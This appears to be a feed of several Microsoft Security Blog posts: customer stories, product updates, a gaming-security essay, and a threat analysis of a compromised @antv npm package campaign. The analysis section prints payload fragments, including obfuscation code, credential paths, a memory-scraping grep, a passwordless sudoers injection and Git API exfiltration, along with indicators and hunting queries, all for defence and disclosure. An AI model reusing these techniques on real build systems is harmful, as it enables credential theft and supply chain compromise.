const currentTheme = localStorage.getItem('blogInABoxCurrentTheme') || (window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light'); // Modify player theme based on localStorage value. let options = {"autoplay":false,"hideControls":null,"language":"en-us","loop":false,"partnerName":"cloud-blogs","poster":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/image\/microsoftcorp\/3921721-St.Luke%E2%80%99sSecurityCopilotagents_tbmnl_en-us?wid=1280","title":"","sources":[{"src":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/content\/microsoftcorp\/3921721-St.Luke%E2%80%99sSecurityCopilotagents-0x1080-6439k","type":"video\/mp4","quality":"HQ"},{"src":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/content\/microsoftcorp\/3921721-St.Luke%E2%80%99sSecurityCopilotagents-0x720-3266k","type":"video\/mp4","quality":"HD"},{"src":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/content\/microsoftcorp\/3921721-St.Luke%E2%80%99sSecurityCopilotagents-0x540-2160k","type":"video\/mp4","quality":"SD"},{"src":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/content\/microsoftcorp\/3921721-St.Luke%E2%80%99sSecurityCopilotagents-0x360-958k","type":"video\/mp4","quality":"LO"}]}; if (currentTheme) { options.playButtonTheme = currentTheme; } document.addEventListener('DOMContentLoaded', () => { ump("ump-6a10959857c55", options); }); How ManpowerGroup is securing a global workforce with a unified platform 

ManpowerGroup is modernizing toward a unified, cloud-based security platform to protect a highly distributed workforce, addressing identity-centric risk and complex compliance requirements as AI becomes embedded in everyday work. Their experiences show how organizations can use Microsoft Security to secure the foundation of AI transformation, end to end. 

As ManpowerGroup scaled globally, its longstanding mix of security tools became more difficult to manage, driving complexity, inconsistent controls, and slower response as cyberthreats and regulatory demands increased. 

To reduce tool sprawl, ManpowerGroup deployed Microsoft 365 E5 for the real-time identity, endpoint, email, and cloud prevention, detection, and response capabilities of Microsoft Defender, plus the cloud-native security information and event management (SIEM) and security orchestration, automation, and response (SOAR) performance of Microsoft Sentinel. 

By deploying Microsoft 365 E5, ManpowerGroup reduced security complexity, cut integration timelines from weeks or months to hours or days, unified global security operations, and built an AI-ready security foundation. To see how this platform approach is supporting secure, agile operations worldwide, watch the customer video read the full ManpowerGroup story. 

const currentTheme = localStorage.getItem('blogInABoxCurrentTheme') || (window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light'); // Modify player theme based on localStorage value. let options = {"autoplay":false,"hideControls":null,"language":"en-us","loop":false,"partnerName":"cloud-blogs","poster":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/image\/microsoftcorp\/3820352-Manpower-Group_tbmnl_en-us?wid=1280","title":"","sources":[{"src":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/content\/microsoftcorp\/3820352-Manpower-Group-0x1080-6439k","type":"video\/mp4","quality":"HQ"},{"src":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/content\/microsoftcorp\/3820352-Manpower-Group-0x720-3266k","type":"video\/mp4","quality":"HD"},{"src":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/content\/microsoftcorp\/3820352-Manpower-Group-0x540-2160k","type":"video\/mp4","quality":"SD"},{"src":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/content\/microsoftcorp\/3820352-Manpower-Group-0x360-958k","type":"video\/mp4","quality":"LO"}],"ccFiles":[{"url":"https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-json\/bloginabox\/v1\/get-captions?url=https%3A%2F%2Fwww.microsoft.com%2Fcontent%2Fdam%2Fmicrosoft%2Fbade%2Fvideos%2Fproducts-and-services%2Fen-us%2Fsecurity%2F3820352-manpower-group%2F3820352-Manpower-Group_cc_en-us.ttml","locale":"en-us","ccType":"TTML"}],"downloadableFiles":[{"url":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/content\/microsoftcorp\/3820352-Manpower-Group_transcript_en-us","locale":"en-us","mediaType":"transcript"},{"url":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/content\/microsoftcorp\/3820352-Manpower-Group_audio_en-us","locale":"en-us","mediaType":"audio"}]}; if (currentTheme) { options.playButtonTheme = currentTheme; } document.addEventListener('DOMContentLoaded', () => { ump("ump-6a10959857eae", options); }); A repeatable playbook for securing AI at scale 

While these customers operate in very different environments, their paths to securing their organization and adopting (or preparing to adopt) AI followed the same core pattern—one that other organizations can adopt as they modernize. Both started by anchoring security decisions in business risk, then unified signals across cloud, data, identity, and operations, and finally automated guardrails so protection could scale alongside AI-powered work. These experiences point to a clear, repeatable approach for security and adopting AI without slowing business: 

• Lead with risk and business value. Clearly define what must be protected—and why—so security enables AI adoption rather than constraining it. 
• Unify visibility across the environment. Connect cloud, identity, data, and security operations (SecOps) signals into a single operational view to reduce blind spots. 
• Make governance real, not aspirational. Operationalize classification, labeling, data loss prevention, and policy enforcement, so protections are consistent by default. 
• Harden posture continuously. Use continuous configuration management and drift detection to prevent misconfigurations as environments evolve. 
• Automate outcomes at scale. Streamline response and compliance reporting so security and governance improve without increasing headcount. 

This approach helped both organizations move faster with confidence—and offers a practical blueprint for others looking to secure the foundation of AI transformation. 

What Frontier firms get right in the AI era 

These stories point to a broader pattern emerging among leading organizations. “Frontier firms” refers to organizations that lead in the AI era by pairing speed with trust. They move quickly—but not recklessly—because security is treated as a foundational capability, not an afterthought. For these organizations, protection is built into how work gets done: governance that scales as AI adoption grows, posture that remains resilient as environments change, and controls that operate continuously in the background. Security becomes the primitive that allows AI to be deployed with confidence, not constraint. 

These customers exemplify what this looks like in practice. And through their stories, we gain a playbook that other organizations can deploy with confidence. By modernizing security as a platform—connecting visibility, governance, posture management, and automation—organizations can enable AI-powered work while strengthening trust across data, identities, cloud environments, and more. These customer stories show that in the AI era, organizations that treat security as a strategic foundation will be best positioned to lead, adapt, and compete in an AI-powered world. Learn more about how Microsoft Security helps organizations secure AI-powered work at scale. 

Are you a regular user of Microsoft Defender for Cloud? Share your insights and experiences on Gartner Peer Insights.™

Learn more

Learn more about Microsoft Defender for Cloud, Microsoft Purview, and Zero Trust.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.  

1Secure agentic AI for your Frontier Transformation, Microsoft Security blog. March 9, 2026.

The post Microsoft Security success stories: How St. Luke’s and ManpowerGroup are securing AI foundations appeared first on Microsoft Security Blog.

At Microsoft, security innovations are purpose-built to help every organization protect end-to-end with the speed and scale of AI. Our vision is simple: security should be ambient and autonomous, just like the AI it protects. As organizations accelerate AI adoption, security teams are navigating new blind spots created by the broad distribution of agents, data, and identities across different tools and platforms. Microsoft Security’s latest updates extend visibility, control, and protection across your expanding ecosystem, from third-party apps like Claude to your cloud environments and multi-cloud infrastructure. Together, these updates help your team secure what matters most—agents, data, and identities—without slowing your own innovation. Here’s what’s new:

Cloud Security Solutions | Microsoft Security Microsoft Purview visibility now extends to Anthropic’s Claude

Security and compliance teams can now detect and investigate Claude usage alongside other cloud applications in their broader AI ecosystem. The new Claude Compliance API for Microsoft Purview delivers centralized visibility and oversight for Claude Enterprise activity enabling Microsoft Purview to provide insights on Claude interactions and audit log signals. This integration will provide visibility across Claude Enterprise, extending the Microsoft Purview experience and helping your teams protect sensitive data across your AI estate.  

New data security posture management experience in Microsoft Purview

The new Microsoft Purview Data Security Posture Management (DSPM) experience is now generally available. This solution unifies and streamlines DSPM across scenarios, from discovery to protection, all the way to remediation, allowing teams to investigate risks and take actions on the same workflow. The new experience delivers goal-oriented flows, deeper remediation, expanded reporting, and third-party visibility. Your teams can efficiently discover sensitive data, assess risk, and take action at scale.

Microsoft Purview Data Security Investigations extends investigative depth with custom examinations

Microsoft Purview Data Security Investigations now includes optical character recognition (OCR) and custom examination capabilities to extend investigative depth. OCR extracts text from images, bringing previously inaccessible visual content into scope for AI-powered deep content analysis. In addition to existing examination types that identify credentials, risk, and personally identifiable data, and help inform mitigation, investigators can define their own analysis with custom examination, enabling more tailored and flexible investigations based on their unique needs. 

Now, Data Security Investigations can extract text from images, like the one above, adding visual content into scope for AI-powered investigations. Microsoft Entra ID Account recovery securely restores account access

Microsoft Entra ID Account recovery is an advanced authentication recovery mechanism that enables users to regain access to their organizational accounts when they’ve lost access to all registered authentication methods. Unlike traditional password reset capabilities, Account recovery focuses on identity verification and trust re-establishment prior to replacement of authentication methods rather than simple credential recovery.

Windows 365 for Agents delivers a secure AI agent execution environment

Windows 365 for Agents, now expanding in public preview, and Microsoft Agent 365 work together to provide a consistent, secure environment to run and govern agents. Agent 365 determines the work an agent is authorized to do, using shared organizational policies and identity to govern agent behavior and access. Windows 365 for Agents defines where an agent executes the work, providing Cloud PCs that enable agents to operate their own desktops and applications within a fully managed and auditable environment. Read our blog for more details.

Stay In the Loop

Microsoft Security continually ships meaningful innovations across our portfolio and research-driven insights and reports for the security community. In the Loop posts are your reliable source of what’s new across Microsoft Security and what it means for your security strategy. Check back for the next drop and connect with us at Microsoft Build, June 2-3, 2026, in San Francisco, to hear directly from Microsoft Security experts and learn more about today’s releases.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post What’s new in Microsoft Security: May 2026 appeared first on Microsoft Security Blog.

In this article

1. Attack chain overview
   1. Technical analysis
   2. How GitHub took action to prevent further harm
2. Mitigation and protection guidance
   1. Microsoft Defender XDR Detections
   2. Microsoft Defender XDR Threat analytics
   3. Advanced hunting
   4. Indicators of Compromise (IOC)
3. References
4. Learn more

Microsoft has identified an active supply chain attack targeting the @antv node package manager (npm) package ecosystem. A threat actor compromised an @antv maintainer account and published malicious versions of widely used data-visualization packages, resulting in cascading downstream impact.

The compromise propagated through dependency chains into libraries like echarts-for-react (which has more than 1 million weekly downloads), expanding the blast radius into CI/CD pipelines and cloud workloads across the ecosystem. The malicious payload—a ~499 KB obfuscated JavaScript file—runs silently during npm install and is purpose-built to steal credentials from GitHub Actions environments.

Key capabilities observed in the payload include multi-platform credential theft (GitHub, Amazon Web Services, HashiCorp Vault, npm, Kubernetes, 1Password), GitHub Action Runner process memory scraping, privilege escalation, dual-channel data exfiltration, and Supply chain Levels for Software Artifacts (SLSA) provenance forgery. These capabilities suggest a deliberate effort to evade analysis and an apparent focus on CI/CD environments.

The authors of the antv account have also since confirmed in a ticket on the repo that the situation is now resolved.

Attack chain overview Figure 1. @antv npm supply chain attack flow.

The @antv organization maintains charting libraries (G2, G6) embedded across dashboards and applications. The attack proceeds through:

• Maintainer account compromise and publication of malicious @antv package versions
• Downstream dependency amplification (echarts-for-react, size-sensor, and others)
• Automatic payload execution through a preinstall hook during npm install
• Execution chain: node → shell → bun → payload (Bun runtime installed if absent)

Technical analysis

The payload replaces the legitimate index.js with a single-line obfuscated script.

Obfuscation

• Layer 1: 1,732 Base64-encoded strings in a rotated array, decoded through lookup function with the shuffle key 0xa31de
• Layer 2: Critical strings such as command-and-control (C2) domain and env var names are encrypted with a custom PBKDF2 and SHA-256 cipher, which is decrypted at runtime.
• Environment gating: The payload exits immediately if it’s not running on GitHub Actions on Linux
• Branch avoidance: Skips the main, master, dependabot/, renovate/, and gh-pages when using Git API exfiltration

// Layer 1: 1,732 strings in rotated array with base64 decode (function(_0x44be0e, _0x3ff020){ // Array shuffle IIFE with key 0xa31de _0x335af4['push'](_0x335af4['shift']()); })(_0x71ec, 0xa31de)); // Layer 2: PBKDF2+SHA256 runtime decryption for critical strings var e6 = "a8269c01069452afb8a54de904e6419578d155fdbdb9e566bab8576a4266b61e"; var t6 = "7f44e4ba6f6a71bd0f789e7f83bd3104"; var u5 = new du(e6, t6); // PBKDF2 cipher instance globalThis["f2959c600"] = function(s) { return u5.decode(s); }; // Environment gate - exits if not GitHub Actions on Linux this['isGitHubActions'] = process.env[f2959c600('68zz23c6NGR9...')] === 'true'; this['isLinuxRunner'] = process.env[f2959c600('NhUrwwYEwYIJ...')] === 'Linux'; Credential theft

The payload targets secrets across six platforms:

• GitHub: Extracts GITHUB_TOKEN, scans for Personal Access Tokens (gh[op]_) and installation tokens (ghs_), validates through /user API, and enumerates repo and org secrets.
• Amazon Web Services(AWS): Queries Instance Metadata Service (169.254.169[.]254), Elastic Container Service metadata (169.254.170[.]2), reads .aws/ files, harvests env vars, and then calls SecretsManager across all regions.
• HashiCorp Vault: Searches 12+ token paths (/var/run/secrets/vault/token, ~/.vault-token, and others) and connects to a local Vault at 127.0.0[.]1:8200.
• npm: Validates tokens using /-/whoami, exchanges OpenID Connect (OIDC) tokens for publish access, and enumerates packages
• Kubernetes: Reads service account tokens and enumerates namespace secrets
• 1Password: Interacts with command-line interface (CLI) and attempts master password extraction with two-factor authentication (2FA) bypass

// AWS Secrets Manager enumeration 'secretsmanager:ListSecrets' 'secretsmanager:GetSecretValue(' // Vault token paths searched (12+ locations) '/var/run/secrets/vault/token' '/.vault-token' '/home/runner/.vault-token' '/root/.vault-token' '/etc/vault/token' // GitHub API secret enumeration '/actions/secrets?per_page=100' '/actions/organization-secrets?per_page=100' Runner memory scraping

The payload locates the GitHub Actions Runner.Worker PID using /proc scanning, then extracts runtime secrets using the following:

// Locates Runner.Worker PID via /proc 'findRunnerWorkerPIDLinux' // Scans /proc//cmdline for "Runner.Worker" // Extracts secrets from process memory tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u

This activity bypasses normal secret masking by reading secrets directly from runner process memory.

Privilege escalation

• Injects sudoers rule through bind mount: echo ‘runner ALL=(ALL) NOPASSWD:ALL’ > /mnt/runner
• Modifies /etc/hosts for DNS redirection

// Injects passwordless sudo via /etc/sudoers.d bind mount at /mnt echo 'runner ALL=(ALL) NOPASSWD:ALL' > && chmod 0440 /mnt/runner // DNS manipulation sudo sh -c "echo '127.0.0.1 ' >> /etc/hosts" // Validates sudo access before operations sudo -n true Exfiltration

Dual-channel exfiltration:

• Primary: HTTPS to encrypted C2 domain (port 443) with DNS pre-check and health probe
• Fallback: Git Data API — Creates blobs, trees, or commits in victim repositories on non-protected branches
• Tertiary: Creates public repos under victim accounts with reversed description (“niagA oG eW ereH :duluH-iahS”); more than 2,200 of these repos have been observed as of this writing

// Primary: HTTPS C2 with encrypted domain (port 443) let config = { 'domain': f2959c600('bXVunP4+izfR/cOx8zhW/fw8v6xFc4cvjYgGdbEE'), 'port': 0x1bb, // 443 'path': f2959c600('5WA4NOQUD/n/mNx/cqL4gSVQrTrwV+RBKO7TXeTIk3fFBUt+2arGDjc='), 'dry_run': false }; // Fallback: Git Data API - creates blobs/trees/commits in victim repos await j(token, '/repos/' + owner + '/' + repo + '/git/blobs', {'method': 'POST', 'body': JSON.stringify(stolen_data)}); '/git/trees' '/git/commits' // Branch filter - avoids protected branches to evade detection Dw = ['dependabot/', 'renovate/', 'gh-pages', 'docs/', 'copilot/', 'master', 'main']; Propagation and persistence

• Enumerates /user/repos and /user/orgs to spread into additional repositories
• Installs Bun runtime, executes second-stage payload using bun run .claude/
• Deploys token monitor for ongoing credential capture
• Forges SLSA provenance attestations through Sigstore (Fulcio or Rekor) to appear legitimate

Impact and blast radius

• Direct compromise of @antv packages with broad ecosystem adoption
• Amplification through downstream dependencies into thousands of projects
• Cascading risk: stolen npm tokens enable further package poisoning, stolen GitHub tokens enable repo manipulation, and stolen AWS credentials enable cloud access
• SLSA provenance forgery erodes trust in supply chain attestation frameworks

How GitHub took action to prevent further harm

Upon learning of the attack, GitHub acted immediately to limit further damage. It removed 640 malicious packages and invalidated 61,274 npm granular access tokens with write permissions and 2FA bypass, preventing leaked tokens from being used in this or similar attacks. GitHub also published advisories relevant to this malware campaign in the GitHub Advisory Database and alerted the community through Dependabot alerts and npm audit. It continues to monitor for additional affected packages and remove them as needed.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

• Review dependency trees for direct or transitive usage of affected @antv/ packages.
• Identify systems that installed or built affected package versions during the suspected exposure window.
• Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.
• Disable pre- and post-installation script execution by ensuring you run npm install with --ignore-scripts.
• While GitHub team has already invalidated all the npm tokens that had write access and 2FA bypass, Microsoft Defender still recommends rotating credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
• Rotate credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
• Audit organization and personal GitHub accounts for public repositories with the description “niagA oG eW ereH :duluH-iahS” or other unexpected repositories created during the exposure window, and revoke any GitHub tokens that might have been implicated.
• Audit CI/CD logs for unexpected outbound network connections, script execution, or suspicious package lifecycle activity.
• Review npm package lockfiles, build logs, and artifact provenance for evidence of compromised package versions.
• Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
• Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.
• Use Microsoft Defender Vulnerability Management to search for antv packages across your estate.

Microsoft Defender XDR Detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

TacticObserved activityMicrosoft Defender coverageExecution Suspicious script execution during npm install or package lifecycle activityMicrosoft Defender Antivirus
– Trojan:AIGen/NPMStealer
– Backdoor:Python/ShaiWorm
– Trojan:JS/ShaiWorm
– Trojan:JS/ObfusNpmJs  

Microsoft Defender for Endpoint
– Suspicious usage of Bun runtime
– Suspicious Installation of Bun runtime
– Suspicious Node.js process behavior

Microsoft Defender XDR
Suspicious file creation in temporary directory by Bun.exe binary
Suspicious Bun execution from Node.js processCredential AccessPotential harvesting of environment variables, tokens, or developer secretsMicrosoft Defender for Endpoint
– Credential access attempt
– Suspicious cloud credential access by npm-cached binary
– Kubernetes secrets enumeration indicative of credential access

Microsoft Defender for Cloud
Sha1-Hulud Campaign Detected: Possible command injection to exfiltrate credentialsCommand and ControlPotential outbound connections from build systems or developer machinesMicrosoft Defender for Endpoint
Connection to a custom network indicator Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run prebuilt promptbooks to automate incident response or investigation tasks related to this threat, including:

• Incident investigation
• Microsoft user analysis
• Threat Intelligence 360 report based on MDTI article
• Vulnerability or supply chain impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Microsoft Defender XDR Threat analytics

https://security.microsoft.com/threatanalytics3/5879a0e7-f145-407b-bc84-1ae405a016ea/overview

Advanced hunting

The following sample queries let you search for a week’s worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page > Query tab, and update the time range to Last 30 days.

Hunt for suspicious npm lifecycle script execution

This query searches for Node.js and npm activity involving install lifecycle behavior and relevant package references.

DeviceProcessEvents | where FileName in~ ("node.exe", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe") | where ProcessCommandLine has_any ("preinstall", "postinstall", "install") | where ProcessCommandLine has_any ("@antv", "echarts-for-react") | project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for potential compromise of through malicious npm packages

DeviceProcessEvents | where Timestamp > ago(2d) | where FileName in ("bun", "bun.exe") | where ProcessCommandLine has "run index.js"

Hunt for affected dependencies in your software inventory

DeviceTvmSoftwareInventory | where SoftwareName has "antv" or SoftwareVendor has "antv" | project DeviceName, OSPlatform, SoftwareVendor, SoftwareName, SoftwareVersion

Hunt for suspicious outbound connection from python backdoor

DeviceNetworkEvents | where Timestamp > ago(2d) | where InitiatingProcessFileName startswith "python" | where InitiatingProcessCommandLine has "/cat.py"

Hunt for suspicious outbound activity from Node.js processes

Searches for network connections initiated by Node.js or npm processes that reference package-related paths or commands.

DeviceNetworkEvents | where InitiatingProcessFileName in~ ("node.exe", "npm.exe", "npx.exe") | where InitiatingProcessCommandLine has_any ("@antv", "echarts-for-react", "node_modules") | project Timestamp, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunt for affected dependency references in developer directories

This query searches for package manifest or lockfile activity that might contain relevant dependency references.

DeviceFileEvents | where FileName in~ ("package.json", "package-lock.json", "yarn.lock", "pnpm-lock.yaml") | where FolderPath has_any ("node_modules", "src", "repo", "workspace") | where AdditionalFields has_any ("@antv", "echarts-for-react") | project Timestamp, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for post-compromise C2 activity

DeviceNetworkEvents | where Timestamp > ago(2d) | where RemoteUrl has "t.m-kosche.com"

Shai-Hulud npm supply-chain indicator observed inside a Kubernetes container

CloudProcessEvents | where ProcessCommandLine has_any ("IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner", "niagA oG eW ereH", ":duluH-iahS", "t.m-kosche.com", "7cb42f57561c321ecb09b4552802ae0ac55b3a7a", "@antv/setup") | project Timestamp, AzureResourceId, KubernetesPodName, KubernetesNamespace, ContainerName, ContainerId, ContainerImageName, ProcessName, ProcessCommandLine, ProcessCurrentWorkingDirectory, ParentProcessName, ProcessId, ParentProcessId, AccountName Indicators of Compromise (IOC) IndicatorTypeDescription@antv – whole accountPackage scope  All packages maintained by the antv account were compromised.

As per the latest statement from the account author’s this situation is now resolved.echarts-for-reactPackage name  One of the major downstream packages impacted by the antv compromise.
As per the latest statement from the repository author’s this situation is now resolveda68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1cSHA-256Malicious payload JavaScript filefb5c97557230a27460fdab01fafcfabeaa49590bafd5b6ef30501aa9e0a51142SHA-256Malicious backdoor Python scriptt.m-kosche[.]com:443DomainInfrastructure associated with campaignIndex.jsFile nameMalicious script or dropped filecat.pyFile nameMalicious script or dropped file References

• Mini Shai-Hulud Hits @antv Ecosystem, 639 Compromised npm Package Versions

This research is provided by Microsoft Defender Security Research with contributions from Rahul Mohandas, Sumith Maniath, Ahmed Saleem Kasmani, Arvind Gowda, Sagar Patil, and members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 

The post Mini Shai Hulud: Compromised @antv npm packages enable CI/CD credential theft appeared first on Microsoft Security Blog.

The Deputy CISO blog series is where Microsoft Deputy Chief Information Security Officers (CISOs) share their thoughts on what is most important in their respective domains. In this series, you will get practical advice, tactics to start (and stop) deploying, forward-looking commentary on where the industry is going, and more. In this article, Aaron Zollman, Vice President and Deputy CISO for Gaming at Microsoft discusses the unique challenges and rewards of securing gaming.

There are more than 500 million monthly active players¹ across Xbox consoles, PC, handheld, and more through Xbox cloud gaming. They’re the folks who come to mind when people refer to “gaming culture.” But they’re not really the whole story. Globally, more than 3 billion people engage with gaming.² The majority of these people are gamers, but the number also includes developers working for independent gaming studios, engineers supporting the Xbox platform, and the security and operations professionals that support them all.

In my role as Deputy CISO for Gaming at Microsoft, it’s this much larger, much more complex community that I have to take into account. My team and I aren’t tasked solely with protecting consoles or player accounts. We’re safeguarding intellectual property (IP), live operations, and the trust of billions of interactions. We’re also partnering on risks that range from cheating and monetization exploits to supply chain vulnerabilities and regulatory compliance for child safety and privacy.

Gaming isn’t really a single culture, but rather a culture of cultures—each with their own risk factors to account for. At the heart of gaming is the player experience—their need for seamless access, low latency, and frictionless, immersive experiences. This goes hand-in-hand with privacy and safety in a world where cyberattackers could target well-known players. But aside from those basic needs, players form their own tribes, and a diverse, global player base requires a different approach—which makes securing gaming unique. You don’t approach it like you might traditional enterprise. Studios operate with creative autonomy, platforms demand global scale and low latency, and players expect frictionless experiences. That diversity makes gaming vibrant while also creating unique security challenges.

Each culture comes with its own security risks

Let’s first take a look at the risks that most often appear with each of the overlapping cultures that make up the world of gaming:

Platforms, underpinning services like Xbox Game Pass and Xbox Cloud Gaming, require centralized infrastructure with high availability. Here, security must integrate seamlessly with identity systems and Microsoft-wide standards without slowing down gameplay. But platforms face a number of distinct risks.

The complexity of platforms makes them a rich target for financially-motivated cyberattackers seeking to take over top accounts—or send targeted messages to individuals in an environment where they aren’t expecting phishing, which can threaten both ecosystem trust and commercial strategy. And because platforms serve as the connective tissue between devices, we have to pay special attention to weaknesses in integration points.

We also contend with fraud and abuse in commerce systems, where bad actors attempt to manipulate in-game economies or exploit payment flows. These persistent cyberthreats require layered defenses, real-time monitoring, and rapid responses.

Learn more about Microsoft identity and access solutions

Game development studios, whether they are AAA giants, indie teams, or sole developers, thrive on flexibility. Their environments are highly individualized and frequently blend proprietary tools with third-party assets and co-development with partners. My job is to make sure they can innovate securely—balancing their creative freedom with governance and compliance timelines. But this flexibility introduces risks that look very different from experienced by centralized platforms.

On the plus side, studios’ independence creates smaller failure domains, leaving them free to make their own choices and experiment with new tools, partners and engineering practices, without putting the broader platform and peer studios at risk. But reputation, regulatory liability, and cyberattacker interest can’t be firewalled off so easily. So, we need to establish a baseline of controls and detect anomalies early, closing down blind spots—despite fragmented development environments and third-party risk from studios that rely on external contractors, middleware providers, and asset marketplaces.

And some of the cyberattacks are the same: Without tight identity governance, credential sprawl can create highly-privileged accounts that become prime targets for threat actors. Studios operate under tight deadlines and with small margins, so we need empathy for their desire to make things easier—and to avoid security checks when under milestone pressure—despite the risk those actions could cause to production.

It’s also important to note that the driving factor for many threat actors targeting studios is the incredibly high value of unreleased IP. For the same reason, social engineering and insider threats are a constant risk for studios.

Explore Microsoft data governance solutions

Studio Central Teams provide shared IT and infrastructure support. They’re the bridge between creative teams and operational security, ensuring that artists, producers, and marketers work in environments that are both productive and resilient. But that role comes with its own set of risks, which are often hidden in the complexity of shared services.

When central teams support diverse projects, maintaining consistent security baselines across cloud resources, build servers, and collaboration tools becomes difficult. Failing to maintain security consistency can lead to configuration drift—where a single misconfigured storage bucket or firewall rule can expose critical assets. But because central teams manage shared infrastructure, they are risk-averse to changes, including some critical security patches, that could cause cascading production failures.

These central teams can be security’s best partners for implementing strong monitoring and segmentation—but also need to be governed to avoid insider risk and toxic combinations of overlapping permissions.

Collaboration over control

Security in gaming isn’t about imposing rules. It’s more about partnership. I work closely with Temi Adabambo, General Manager for Gaming Security, Microsoft, and Eric Mourinho, Chief Architect, Microsoft, to co-develop secure environments and shared tooling. Governance is a dialogue. We collaborate between platform teams, studio IT, security architects, and technical directors in game studios. That’s how we manage exception handling, cross-team dependencies, and the tension between creative speed and security rigor.

One of the advantages of the Microsoft environment is the access it grants us to a security ecosystem that scales globally. In gaming, we build upon that foundation, adapting it for the unique needs of developers, platforms, and players:

• Identity and access management: We use Microsoft Entra ID to secure identities across Xbox Live, Game Pass, and studio environments. Shared identity systems allow frictionless sign-in for players while enforcing strong authentication for developers and partners.
• Compliance and governance: We rely on a combination of tools and processes to manage sensitive data and meet regulatory obligations across environments like public cloud infrastructure and bespoke studio setups. This includes Microsoft Purview for data classification and compliance monitoring, Microsoft Defender for Cloud for policy enforcement and resource hardening, Entra ID for identity governance, and Microsoft Sentinel for audit and reporting. Together, these capabilities help us maintain visibility, enforce standards, and respond quickly to compliance exceptions without slowing down development.
• Threat intelligence and detection: With Microsoft Defender for Cloud, Microsoft Sentinel, and proprietary Microsoft tooling, we gain visibility into cyberthreats across platforms and supply chains. These tools allow us to detect anomalies, respond quickly, and share intelligence across teams without slowing down creative workflows.
• Secure development lifecycles: We embed security into game development through automated code scanning, vulnerability management, and secure build pipelines, helping studios ship faster without sacrificing safety.

These are enterprise-grade capabilities, adapted to the needs of the global gaming culture of cultures. They allow us to protect billions of interactions while enabling the creativity that defines this industry. 

Looking ahead 

Gaming will only grow more complex. But I see that as an opportunity. Security presents challenges, but in facing those challenges head-on, we are constantly refining our practices, products, and player experiences. When we design for resilience, we protect not just games but the communities that help them thrive.

For Microsoft, that means treating gaming security as an ever-evolving system—one that changes with each new iteration of technology, player expectations, and the creative heartbeat of the industry.

Security teams and their families are gamers too. Visit the Xbox Wire and our recent blog post for Safer Internet Day to learn more about how we keep players and communities safe and secure at Xbox.

Microsoft
Deputy CISOs

To hear more from Microsoft Deputy CISOs, check out the OCISO blog series:

To stay on top of important security industry updates, explore resources specifically designed for CISOs, and learn best practices for improving your organization’s security posture, join the Microsoft CISO Digest distribution list.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

¹Microsoft FY25 Fourth Quarter Earnings Conference Call  

²Microsoft to acquire Activision Blizzard to bring the joy and community of gaming to everyone, across every device 

The post Securing the gaming culture of cultures appeared first on Microsoft Security Blog.

In this article

1. Why we are investing in this
2. RAMPART: Continuous safety testing for agentic AI
3. Clarity: Helping check software engineering assumptions
4. RAMPART and Clarity available now

